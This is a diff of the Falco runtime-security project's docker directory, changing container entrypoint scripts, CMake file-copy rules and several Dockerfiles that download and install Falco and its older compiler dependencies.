 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,19 +16,19 @@
 # limitations under the License.
 #
 
+# set -e
 
-# Set the SKIP_DRIVER_LOADER variable to skip loading the driver
+# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
 
-if [[ -z "${SKIP_DRIVER_LOADER}" ]]; then
+if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
     echo "* Setting up /usr/src links from host"
 
     for i in "$HOST_ROOT/usr/src"/*
     do
-        base=$(basename "$i")
-        ln -s "$i" "/usr/src/$base"
+        ln -s "$i" "/usr/src/$i"
     done
 
-    /usr/bin/falco-driver-loader
+    /usr/bin/falco-probe-loader
 fi
 
-exec "$@"
+exec "$@"

docker/local/rules/CMakeLists.txt

@@ -1,7 +1,13 @@
-include(copy_files_to_build_dir)
-
 # Note: list of rules is created at cmake time, not build time
 file(GLOB test_rule_files
 	"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/rules/*.yaml")
 
-copy_files_to_build_dir("${test_rule_files}" docker-local-rules)
+foreach(rule_file_path ${test_rule_files})
+	get_filename_component(rule_file ${rule_file_path} NAME)
+	add_custom_target(docker-local-rule-${rule_file} ALL
+		DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${rule_file})
+	add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
+		COMMAND ${CMAKE_COMMAND} -E copy ${rule_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${rule_file}
+		DEPENDS ${rule_file_path})
+endforeach()
+

docker/local/traces/CMakeLists.txt

@@ -1,7 +1,13 @@
-include(copy_files_to_build_dir)
-
 # Note: list of traces is created at cmake time, not build time
 file(GLOB test_trace_files
 	"${CMAKE_CURRENT_SOURCE_DIR}/../../../test/trace_files/*.scap")
 
-copy_files_to_build_dir("${test_trace_files}" docker-local-traces)
+foreach(trace_file_path ${test_trace_files})
+	get_filename_component(trace_file ${trace_file_path} NAME)
+	add_custom_target(docker-local-trace-${trace_file} ALL
+		DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/${trace_file})
+	add_custom_command(OUTPUT ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
+		COMMAND ${CMAKE_COMMAND} -E copy ${trace_file_path} ${CMAKE_CURRENT_BINARY_DIR}/${trace_file}
+		DEPENDS ${trace_file_path})
+endforeach()
+

docker/minimal/Dockerfile

@@ -0,0 +1,58 @@
+FROM ubuntu:18.04 as ubuntu
+
+LABEL maintainer="opensource@sysdig.com"
+
+ARG FALCO_VERSION=0.19.0
+
+ENV FALCO_VERSION=${FALCO_VERSION}
+
+WORKDIR /
+
+ADD https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz /
+
+# ADD will download from URL and unntar
+RUN apt-get update && \
+    apt-get install -y libyaml-0-2 binutils && \
+    # curl -O https://s3.amazonaws.com/download.draios.com/stable/tgz/x86_64/falco-${FALCO_VERSION}-x86_64.tar.gz && \
+    tar xfzv falco-${FALCO_VERSION}-x86_64.tar.gz && \
+    rm -f falco-${FALCO_VERSION}-x86_64.tar.gz && \
+    mv falco-${FALCO_VERSION}-x86_64 falco && \
+    strip falco/usr/bin/falco && \
+    apt-get clean && \
+    rm -rf /var/lib/apt/lists/*
+
+FROM scratch
+
+COPY --from=ubuntu /lib/x86_64-linux-gnu/libanl.so.1 \
+    /lib/x86_64-linux-gnu/libc.so.6 \
+    /lib/x86_64-linux-gnu/libdl.so.2 \
+    /lib/x86_64-linux-gnu/libgcc_s.so.1 \
+    /lib/x86_64-linux-gnu/libm.so.6 \
+    /lib/x86_64-linux-gnu/libnsl.so.1 \
+    /lib/x86_64-linux-gnu/libnss_compat.so.2 \
+    /lib/x86_64-linux-gnu/libnss_files.so.2 \
+    /lib/x86_64-linux-gnu/libnss_nis.so.2 \
+    /lib/x86_64-linux-gnu/libpthread.so.0 \
+    /lib/x86_64-linux-gnu/librt.so.1 \
+    /lib/x86_64-linux-gnu/libz.so.1 \
+    /lib/x86_64-linux-gnu/
+
+COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libstdc++.so.6 \
+    /usr/lib/x86_64-linux-gnu/libstdc++.so.6
+
+COPY --from=ubuntu /usr/lib/x86_64-linux-gnu/libyaml-0.so.2.0.5 \
+    /usr/lib/x86_64-linux-gnu/libyaml-0.so.2
+
+COPY --from=ubuntu /etc/ld.so.cache \
+    /etc/nsswitch.conf \
+    /etc/ld.so.cache \
+    /etc/passwd \
+    /etc/group \
+    /etc/
+
+COPY --from=ubuntu /etc/default/nss /etc/default/nss
+COPY --from=ubuntu /lib64/ld-linux-x86-64.so.2 /lib64/ld-linux-x86-64.so.2
+
+COPY --from=ubuntu /falco /
+
+CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/no-driver/Dockerfile

@@ -1,37 +0,0 @@
-FROM ubuntu:18.04 as ubuntu
-
-ARG FALCO_VERSION
-ARG VERSION_BUCKET=bin
-
-ENV FALCO_VERSION=${FALCO_VERSION}
-ENV VERSION_BUCKET=${VERSION_BUCKET}
-
-RUN apt-get -y update && apt-get -y install gridsite-clients curl ca-certificates
-
-WORKDIR /
-
-RUN curl -L -o falco.tar.gz \
-    https://download.falco.org/packages/${VERSION_BUCKET}/$(uname -m)/falco-$(urlencode ${FALCO_VERSION})-$(uname -m).tar.gz && \
-    tar -xvf falco.tar.gz && \
-    rm -f falco.tar.gz && \
-    mv falco-${FALCO_VERSION}-$(uname -m) falco && \
-    rm -rf /falco/usr/src/falco-* /falco/usr/bin/falco-driver-loader
-
-RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /falco/etc/falco/falco.yaml > /falco/etc/falco/falco.yaml.new \
-    && mv /falco/etc/falco/falco.yaml.new /falco/etc/falco/falco.yaml
-
-FROM debian:11-slim
-
-LABEL maintainer="cncf-falco-dev@lists.cncf.io"
-
-LABEL usage="docker run -i -t --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro --name NAME IMAGE"
-# NOTE: for the "least privileged" use case, please refer to the official documentation
-
-RUN apt-get -y update && apt-get -y install ca-certificates
-
-ENV HOST_ROOT /host
-ENV HOME /root
-
-COPY --from=ubuntu /falco /
-
-CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/rhel/Dockerfile

@@ -0,0 +1,38 @@
+FROM registry.access.redhat.com/rhel7
+
+LABEL maintainer="opensource@sysdig.com"
+
+### Atomic/OpenShift Labels - https://github.com/projectatomic/ContainerApplicationGenericLabels
+LABEL name="falco" \
+    vendor="falcosecurity" \
+    url="http://falco.org/" \
+    summary="Container native runtime security" \
+    description="Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms." \
+    run='docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco'
+
+COPY help.md /tmp/
+
+ENV HOST_ROOT /host
+ENV HOME /root
+
+ADD http://download.draios.com/stable/rpm/draios.repo /etc/yum.repos.d/draios.repo
+RUN rpm --import https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public && \
+    rpm -Uvh https://dl.fedoraproject.org/pub/epel/epel-release-latest-7.noarch.rpm && \
+    yum clean all && \
+    REPOLIST=rhel-7-server-rpms,rhel-7-server-optional-rpms,epel,draios \
+    INSTALL_PKGS="gcc dkms kernel-devel kernel-headers python golang-github-cpuguy83-go-md2man falco" && \
+    yum -y update-minimal --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs \
+    --security --sec-severity=Important --sec-severity=Critical && \
+    yum -y install --disablerepo "*" --enablerepo ${REPOLIST} --setopt=tsflags=nodocs ${INSTALL_PKGS} && \
+    ### help file markdown to man conversion
+    go-md2man -in /tmp/help.md -out /help.1 && \
+    ### we delete everything on /usr/src/kernels otherwise it messes up docker-entrypoint.sh
+    rm -fr /usr/src/kernels && \
+    rm -df /lib/modules && ln -s $HOST_ROOT/lib/modules /lib/modules && \
+    yum clean all
+
+COPY ./docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]
+
+CMD ["/usr/bin/falco"]

docker/rhel/docker-entrypoint.sh

@@ -1,6 +1,6 @@
 #!/usr/bin/env bash
 #
-# Copyright (C) 2020 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -16,13 +16,19 @@
 # limitations under the License.
 #
 
+# set -e
 
-echo "* Setting up /usr/src links from host"
+# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
 
-for i in "$HOST_ROOT/usr/src"/*
-do
-    base=$(basename "$i")
-    ln -s "$i" "/usr/src/$base"
-done
+if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
 
-/usr/bin/falco-driver-loader "$@"
+    for i in "$HOST_ROOT/usr/src"/*
+    do
+        ln -s "$i" "/usr/src/$i"
+    done
+
+    /usr/bin/falco-probe-loader
+fi
+
+exec "$@"

docker/rhel/help.md

@@ -0,0 +1,15 @@
+% falco (1) Container Image Pages
+% Falco Team
+% June, 2017
+
+# NAME
+falco \- Container Native runtime security
+
+# DESCRIPTION
+Falco is an open source project for intrusion and abnormality detection for Cloud Native platforms. See Falco website for more information: http://falco.org/
+
+# EXAMPLE
+    docker run -d --name falco --restart always --privileged --net host --pid host -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro -v /etc:/host/etc:ro --shm-size=350m registry.connect.redhat.com/sysdig/falco
+
+# AUTHORS
+Falco Team

docker/slim-dev/Dockerfile

@@ -0,0 +1,50 @@
+FROM ubuntu:18.04
+
+LABEL maintainer="opensource@sysdig.com"
+
+ENV FALCO_REPOSITORY dev
+
+LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV HOST_ROOT /host
+
+ENV HOME /root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
+RUN apt-get update \
+  && apt-get install -y --no-install-recommends \
+  # 	bash-completion \
+  # 	bc \
+  ca-certificates \
+  curl \
+  gnupg2 \
+  jq \
+  # 	netcat \
+  # 	xz-utils \
+  && rm -rf /var/lib/apt/lists/*
+
+RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
+  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
+  && apt-get update \
+  && apt-get install -y --no-install-recommends falco \
+  && apt-get clean \
+  && rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601
+# output.
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
+  && mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+  && ln -s $HOST_ROOT/lib/modules /lib/modules
+
+#COPY ./entrypoint.sh /
+# ENTRYPOINT ["/entrypoint.sh"]
+
+CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/slim-stable/Dockerfile

@@ -0,0 +1,50 @@
+FROM ubuntu:18.04
+
+LABEL maintainer="opensource@sysdig.com"
+
+ENV FALCO_REPOSITORY stable
+
+LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV HOST_ROOT /host
+
+ENV HOME /root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
+RUN apt-get update \
+  && apt-get install -y --no-install-recommends \
+  # 	bash-completion \
+  # 	bc \
+  ca-certificates \
+  curl \
+  gnupg2 \
+  jq \
+  # 	netcat \
+  # 	xz-utils \
+  && rm -rf /var/lib/apt/lists/*
+
+RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
+  && curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
+  && apt-get update \
+  && apt-get install -y --no-install-recommends falco \
+  && apt-get clean \
+  && rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601
+# output.
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
+  && mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+  && ln -s $HOST_ROOT/lib/modules /lib/modules
+
+#COPY ./entrypoint.sh /
+# ENTRYPOINT ["/entrypoint.sh"]
+
+CMD ["/usr/bin/falco", "-o", "time_format_iso_8601=true"]

docker/stable/Dockerfile

@@ -0,0 +1,110 @@
+FROM debian:unstable
+
+LABEL maintainer="opensource@sysdig.com"
+
+ENV FALCO_REPOSITORY stable
+
+LABEL RUN="docker run -i -t -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro --name NAME IMAGE"
+
+ENV HOST_ROOT /host
+
+ENV HOME /root
+
+RUN cp /etc/skel/.bashrc /root && cp /etc/skel/.profile /root
+
+ADD http://download.draios.com/apt-draios-priority /etc/apt/preferences.d/
+
+RUN apt-get update \
+	&& apt-get install -y --no-install-recommends \
+	bash-completion \
+	bc \
+	clang-7 \
+	ca-certificates \
+	curl \
+	dkms \
+	gnupg2 \
+	gcc \
+	jq \
+	libc6-dev \
+	libelf-dev \
+	libmpx2 \
+	llvm-7 \
+	netcat \
+	xz-utils \
+	&& rm -rf /var/lib/apt/lists/*
+
+# gcc 6 is no longer included in debian unstable, but we need it to
+# build kernel modules on the default debian-based ami used by
+# kops. So grab copies we've saved from debian snapshots with the
+# prefix https://snapshot.debian.org/archive/debian/20170517T033514Z
+# or so.
+
+RUN curl -o cpp-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/cpp-6_6.3.0-18_amd64.deb \
+	&& curl -o gcc-6-base_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6-base_6.3.0-18_amd64.deb \
+	&& curl -o gcc-6_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/gcc-6_6.3.0-18_amd64.deb \
+	&& curl -o libasan3_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libasan3_6.3.0-18_amd64.deb \
+	&& curl -o libcilkrts5_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libcilkrts5_6.3.0-18_amd64.deb \
+	&& curl -o libgcc-6-dev_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libgcc-6-dev_6.3.0-18_amd64.deb \
+	&& curl -o libubsan0_6.3.0-18_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libubsan0_6.3.0-18_amd64.deb \
+	&& curl -o libmpfr4_3.1.3-2_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libmpfr4_3.1.3-2_amd64.deb \
+	&& curl -o libisl15_0.18-1_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-6-debs/libisl15_0.18-1_amd64.deb \
+	&& dpkg -i cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb \
+	&& rm -f cpp-6_6.3.0-18_amd64.deb gcc-6-base_6.3.0-18_amd64.deb gcc-6_6.3.0-18_amd64.deb libasan3_6.3.0-18_amd64.deb libcilkrts5_6.3.0-18_amd64.deb libgcc-6-dev_6.3.0-18_amd64.deb libubsan0_6.3.0-18_amd64.deb libmpfr4_3.1.3-2_amd64.deb libisl15_0.18-1_amd64.deb
+
+# gcc 5 is no longer included in debian unstable, but we need it to
+# build centos kernels, which are 3.x based and explicitly want a gcc
+# version 3, 4, or 5 compiler. So grab copies we've saved from debian
+# snapshots with the prefix https://snapshot.debian.org/archive/debian/20190122T000000Z.
+
+RUN curl -o cpp-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/cpp-5_5.5.0-12_amd64.deb \
+	&& curl -o gcc-5-base_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5-base_5.5.0-12_amd64.deb \
+	&& curl -o gcc-5_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/gcc-5_5.5.0-12_amd64.deb \
+	&& curl -o libasan2_5.5.0-12_amd64.deb	https://s3.amazonaws.com/download.draios.com/dependencies/libasan2_5.5.0-12_amd64.deb \
+	&& curl -o libgcc-5-dev_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libgcc-5-dev_5.5.0-12_amd64.deb \
+	&& curl -o libisl15_0.18-4_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libisl15_0.18-4_amd64.deb \
+	&& curl -o libmpx0_5.5.0-12_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libmpx0_5.5.0-12_amd64.deb \
+	&& dpkg -i cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb \
+	&& rm -f cpp-5_5.5.0-12_amd64.deb gcc-5-base_5.5.0-12_amd64.deb gcc-5_5.5.0-12_amd64.deb libasan2_5.5.0-12_amd64.deb libgcc-5-dev_5.5.0-12_amd64.deb libisl15_0.18-4_amd64.deb libmpx0_5.5.0-12_amd64.deb
+
+# Since our base Debian image ships with GCC 7 which breaks older kernels, revert the
+# default to gcc-5.
+RUN rm -rf /usr/bin/gcc && ln -s /usr/bin/gcc-5 /usr/bin/gcc
+
+RUN rm -rf /usr/bin/clang \
+	&& rm -rf /usr/bin/llc \
+	&& ln -s /usr/bin/clang-7 /usr/bin/clang \
+	&& ln -s /usr/bin/llc-7 /usr/bin/llc
+
+RUN curl -s https://s3.amazonaws.com/download.draios.com/DRAIOS-GPG-KEY.public | apt-key add - \
+	&& curl -s -o /etc/apt/sources.list.d/draios.list http://download.draios.com/$FALCO_REPOSITORY/deb/draios.list \
+	&& apt-get update \
+	&& apt-get install -y --no-install-recommends falco \
+	&& apt-get clean \
+	&& rm -rf /var/lib/apt/lists/*
+
+# Change the falco config within the container to enable ISO 8601
+# output.
+RUN sed -e 's/time_format_iso_8601: false/time_format_iso_8601: true/' < /etc/falco/falco.yaml > /etc/falco/falco.yaml.new \
+	&& mv /etc/falco/falco.yaml.new /etc/falco/falco.yaml
+
+# Some base images have an empty /lib/modules by default
+# If it's not empty, docker build will fail instead of
+# silently overwriting the existing directory
+RUN rm -df /lib/modules \
+	&& ln -s $HOST_ROOT/lib/modules /lib/modules
+
+# debian:unstable head contains binutils 2.31, which generates
+# binaries that are incompatible with kernels < 4.16. So manually
+# forcibly install binutils 2.30-22 instead.
+RUN curl -s -o binutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils_2.30-22_amd64.deb \
+	&& curl -s -o libbinutils_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/libbinutils_2.30-22_amd64.deb \
+	&& curl -s -o binutils-x86-64-linux-gnu_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-x86-64-linux-gnu_2.30-22_amd64.deb \
+	&& curl -s -o binutils-common_2.30-22_amd64.deb https://s3.amazonaws.com/download.draios.com/dependencies/binutils-common_2.30-22_amd64.deb \
+	&& dpkg -i *binutils*.deb \
+	&& rm -f *binutils*.deb
+
+COPY ./docker-entrypoint.sh /
+
+ENTRYPOINT ["/docker-entrypoint.sh"]
+
+CMD ["/usr/bin/falco"]

docker/stable/docker-entrypoint.sh

@@ -1,5 +1,6 @@
+#!/usr/bin/env bash
 #
-# Copyright (C) 2021 The Falco Authors.
+# Copyright (C) 2019 The Falco Authors.
 #
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -15,17 +16,19 @@
 # limitations under the License.
 #
 
-- rule: Open From Cat
-  desc: A process named cat does an open
-  condition: evt.type=open and proc.name=cat
-  output: "An open was seen (command=%proc.cmdline)"
-  priority: WARNING
+# set -e
 
-- rule: Open From Cat
-  exceptions:
-    - name: proc_cmdline
-      comps: in
-      values:
-        - "cat /dev/null"
-  append: true
+# Set the SKIP_MODULE_LOAD variable to skip loading the kernel module
 
+if [[ -z "${SKIP_MODULE_LOAD}" ]]; then
+    echo "* Setting up /usr/src links from host"
+
+    for i in "$HOST_ROOT/usr/src"/*
+    do
+        ln -s "$i" "/usr/src/$i"
+    done
+
+    /usr/bin/falco-probe-loader
+fi
+
+exec "$@"